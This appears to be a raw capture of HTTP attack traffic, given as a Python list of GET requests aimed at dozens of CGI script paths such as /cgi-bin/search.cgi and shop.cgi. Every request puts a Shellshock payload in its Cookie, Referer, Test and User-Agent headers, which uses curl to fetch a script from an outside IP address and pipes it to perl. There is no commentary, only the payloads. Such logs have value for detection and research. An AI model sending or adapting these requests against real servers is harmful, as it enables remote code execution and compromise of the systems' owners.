 u'GET /cgi-mod/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/zml.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/YaBB/YaBB.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/wwwboard.cgi.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/wrap.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/wrapHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/whois_raw.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/whois/whois.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/whois.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/webspirs.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/webmap.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/webmail/html/emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/webif.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/webdist.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/webcart/webcart.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/webbbs.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/way-board/way-board.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/way-board.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/w3mman2html.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/vpasswd.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/vote.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/virgil.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/viralator.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/viewcvs.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/urlcount.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/upload.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ultraboard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ttawebtop.cgi/HTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/troops.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/traffic.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/title.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/tigvote.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/tidfinder.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/testing_whateverHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/test2.plHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/test/test.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/test.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/test-cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/technote/main.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/talkback.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/survey.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/store/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/store/agora.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/store.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/start.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/spin_client.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/sojourn.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/snorkerz.cmdHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/snorkerz.batHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/smartsearch/smartsearch.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/smartsearch.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/simplestmail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/simplestguest.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/showcheckins.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/shopplus.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/shopper.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/shop.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/sendform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/search/search.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/search.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/searchHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/scoadminreg.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/sbcgi/sitebuilder.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/robpoll.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/robadmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/responder.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
